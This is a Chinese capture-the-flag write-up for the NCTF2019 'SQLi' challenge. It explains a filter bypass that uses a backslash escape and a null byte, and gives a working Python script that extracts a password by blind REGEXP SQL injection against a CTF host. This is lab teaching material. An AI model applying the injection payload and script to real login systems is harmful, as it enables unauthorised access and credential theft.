[NCTF2019]SQLi

• regexp注入
  

robots.txt

hint.txt

可以看到過濾了很多東西，這里考慮regexp正則注入

正常查看一下用戶

匹配成功會返回1

匹配失敗返回0

測試一下返回結果，此處空字節%00用來注釋

select * from users where username='\' and passwd=''||1;%00
相當於select * from users where username=''||1;%00

上腳本

#coding:utf-8
import requests
import time
import string
url = "http://fce2fdae-f628-4e9d-ba1b-8508a2dff0c6.node3.buuoj.cn/"
str_list = "_" + string.ascii_lowercase + string.ascii_uppercase + string.digits

payload = ''
for n in range(100):
	print(n)
	for i in str_list:
		data = {'username':'\\', 'passwd':'||passwd/**/regexp/**/"^{}";\x00'.format(payload+i)}
		res = requests.post(url = url, data = data)
		if 'welcome.php' in res.text:
			payload += i
			print(payload)
			break
		elif res.status_code == 429:
			time.sleep(1)

用戶名隨意，輸入密碼即可獲得flag
參考
https://blog.csdn.net/weixin_43610673/article/details/106029042